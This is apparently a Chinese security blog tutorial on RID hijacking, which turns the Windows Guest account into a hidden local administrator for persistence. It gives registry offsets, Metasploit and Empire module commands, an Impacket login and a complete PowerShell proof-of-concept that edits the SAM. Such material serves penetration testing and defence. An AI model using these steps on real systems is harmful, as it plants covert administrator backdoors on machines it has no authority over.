windows持久化后门之RID劫持

admin 2024年1月26日09:05:26评论21 views字数 4669阅读15分33秒阅读模式

windows持久化后门之RID劫持

RID介绍

RID是指相对ID(RID),是SA(安全标识符)所指派的一个惟一的、顺序的编号,代表一个安全主体(比如一个用户、计算机或组)。Windows 操作系统使用 RID(相对标识符)来区分组和用户帐户。它是安全标识符 (SID) 的一部分,每次创建新帐户或组时,该数字都会增加 1。本地管理员组 RID 始终为 500,标准用户或组通常以数字 1001 开头。这可以帮助渗透测试人员在 RID 枚举期间区分帐户是管理员帐户还是普通用户帐户。

          

RID劫持原理

国外安全研究人员发现可以对注册表进行修改,以便通过劫持有效帐户的 RID 使Guest帐户成为管理员。此技术需要System权限,因为注册表中的位置在普通用户或管理员权限下不可见。在进攻性操作期间,它可以用作仅使用属于系统一部分的帐户来维持持久性的方法。活动将作为被劫持的用户而不是劫持者帐户填充在事件日志中。

注册表SAM(安全帐户管理器)密钥存储有关系统本地帐户的信息。然而,该密钥的内容对普通用户和管理员用户是隐藏的。

Shell                  
HKEY_LOCAL_MACHINESAMSAM

可以通过以 SYSTEM 身份访问注册表来获取 SAM 注册表项的内容。这可以通过使用以下参数通过“ PsExec ”打开注册表来实现。

Shell                  
PsExec64.exe -s -i regedit.exe

windows持久化后门之RID劫持    

          

Windows“ Guest ”帐户的信息存储在以下注册表项中。十六进制值“ 0x1f5 ”转换为 501,它是Guest帐户的 RID。管理员帐户的十六进制值为“ 0x1f4 ”,因为它转换为 500。

Shell                  
HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsersNamesGuest

可以通过使用 Windows 实用程序 wmic 运行以下 WMI 查询来验证这一点,该查询将为Guest帐户返回 501。

Shell                  
wmic useraccount where (name='Guest') get name,sid

windows持久化后门之RID劫持

          

 Guest帐户的 RID 在“ 000001F5 ”键的值 F 中指定 。偏移量 30的 十六进制值为“ 0xF501 ”,需要修改为“ 0xF401 ”(500)以劫持管理员帐户的RID。偏移量 38 确定帐户是启用还是禁用(1502 禁用 – 1402 启用)。    

Shell                  
HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers00001F5

windows持久化后门之RID劫持

          

windows持久化后门之RID劫持

              

更改这些值将启用Guest帐户(默认情况下禁用)并劫持提升的 RID(本地管理员)。Guest帐户将拥有管理员权限,但该帐户仍然不会出现在本地管理员组中。

根据具体情况,该技术已被添加到各种攻击性安全工具中。Metasploit Framework、Empire、和 PowerShell 脚本可用于自动化该过程并通过 RID 劫持获得持久性。

持久化利用

Metasploit

国外大佬开发了 Metasploit 后开发模块作为初步概念证明。该模块需要提升 Meterpreter 会话并分为三个阶段:

  • 检查权限并尝试提升到 SYSTEM

  • 启用访客帐户

  • 覆盖 RID

Shell                  
use post/windows/manage/rid_hijack                  
set SESSION 1                  
set GETSYSTEM true                  
set GUEST_ACCOUNT true                  
set PASSWORD pentestlab                  
exploit

windows持久化后门之RID劫持    

          

在 Windows 10 环境中,Guest 帐户的配置文件被破坏,导致 explorer.exe 崩溃并不断重新启动。因此通过 RDP 的连接将不稳定。Impacket 套件工具包含“ psexec ”的 python 实现 ,可用于使用 Guest 帐户连接到目标主机。

Shell                  
./psexec.py Guest:[email protected]

windows持久化后门之RID劫持

          

或者,使用Guest帐户和新密码进行身份验证,并从命令提示符执行以下命令将验证Guest帐户是否已成为管理员,因为 RID 将为 500。    

windows持久化后门之RID劫持

          

          

Empire

Empire 包含一个可用于执行 RID 劫持攻击的模块。该模块必须从高级代理执行才能使该技术成功。应配置的选项将执行以下操作:

  1. 访客帐户的使用

  2. 启用访客帐户

  3. 为访客帐户分配密码

Shell                  
usemodule persistence/elevated/rid_hijack*                  
set UseGuest True                  
set Password pentestlab                  
set Enable True                  
execute

PowerShell

该技术的 PowerShell 实现也是由 Sebastian Castro 开发的,可以在他的 GitHub 开源:https://github.com/r4wd3r/RID-Hijacking中找到。    

windows持久化后门之RID劫持

PowerShell 脚本具有与 Metasploit 模块类似的功能,但也可用于劫持系统上的任何帐户。

Shell                  
Invoke-RIDHijacking -UseGuest -RID 500 -Password Password1

windows持久化后门之RID劫持

          

另外还有ridhijack PowerShell 脚本 (  :https://github.com/STEALTHbits/RIDHijackingProofofConceptKJ) 中,该脚本可以使用 Empire、任何其他基于 PowerShell 的命令和控制框架直接从内存执行。注册表更改之前的脚本会将关联的注册表项导出到磁盘中,以便在出现故障或执行完成时将系统回滚到原始状态。    

Shell                  
$key = 'HKLM:SAMSAMDomainsAccountUsers00001F5'                  
$binaryValue = ( Get-ItemProperty -Path $key -Name "F" ). "F"                  
reg export 'HKLMSAMSAMDomainsAccountUsers00001F5' .export.reg                  
Write-Host 'Registry key exported.'                  
$newValue = 244                  
if ( $binaryValue [48] -notin (244,245)){                  
throw 'Unknown value set at offset 0x30. Expected values: 244 or 245. Current value: ' + $binaryValue [48] + '.'                  
stop                  
} else {                  
$binaryvalue [48] = $newValue                  
Write-Host 'Value at 0x30 set to ' $binaryValue [48]                  
}                  
$newvalue = 20                  
if ( $binaryValue [56] -notin (20,21)){                  
throw 'Unknown value set at offset 0x38. Expected values: 20 or 21. Current value: ' + $binaryValue [56]+ '.'                  
stop                  
} else {                  
$binaryvalue [56] = $newvalue                  
Write-Host 'Value at 0x38 set to ' $binaryValue [56]                  
}                  
$hexValue = ''                  
for ( $i =0; $i -lt $binaryValue .length; $i ++){                  
$hexValue += "{0:x2}" -f $binaryValue [ $i ]                  
}                  
Write-Host 'You are about to change the RID and enable the Guest account. Press enter to continue.'                  
pause                  
reg add "HKLMSAMSAMDomainsAccountUsers00001F5" /v F /t REG_BINARY /d $hexValue /f                  
Write-Host 'Guest account enabled and RID set to 500.'                  
$password = '!Password123!'                  
net user guest $password                  
Write-Host 'Guest account password set to' $password                  
Write-Host " "                  
Write-Host " Open a command prompt as Guest to see the new RID and privileges associated with the Guest account. Pressing enter will continue the script and roll back all changes besides the password of the Guest account. "                  
Write-Host ""                  
Write-Host " To run a command promp as Guest, shift+right click cmd.exe and select Run as different user. When prompted enter .Guest for the username and $password as the password. This will spawn a command prompt window. Once this pops up, enter 'whoami /all | more' to see information about the Guest account. Once complete, you can come back to this screen and press enter to continue ."                  
pause                  
reg import .export.reg                  
Write-Host 'Registry key rolled back to original.'                  
Write-Host 'Proof of concept complete.'
       

导入模块将自动执行脚本。

Shell                  
Import-Module .RIDHIJACK.ps1

windows持久化后门之RID劫持

          

 如果提供类似于“ runas ”命令的凭据,则按住 Shift 键并右键单击允许以与当前用户不同的用户身份执行程序 。    

windows持久化后门之RID劫持

          

将在Guest用户的上下文中打开一个新的命令提示符。执行命令“ whoami /all ”将验证Guest用户的RID为500,这意味着具有本地管理员的权限。

windows持久化后门之RID劫持

          

              

原文始发于微信公众号(暴暴的皮卡丘):windows持久化后门之RID劫持

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月26日09:05:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   windows持久化后门之RID劫持http://cn-sec.com/archives/2432216.html

发表评论

匿名网友 填写信息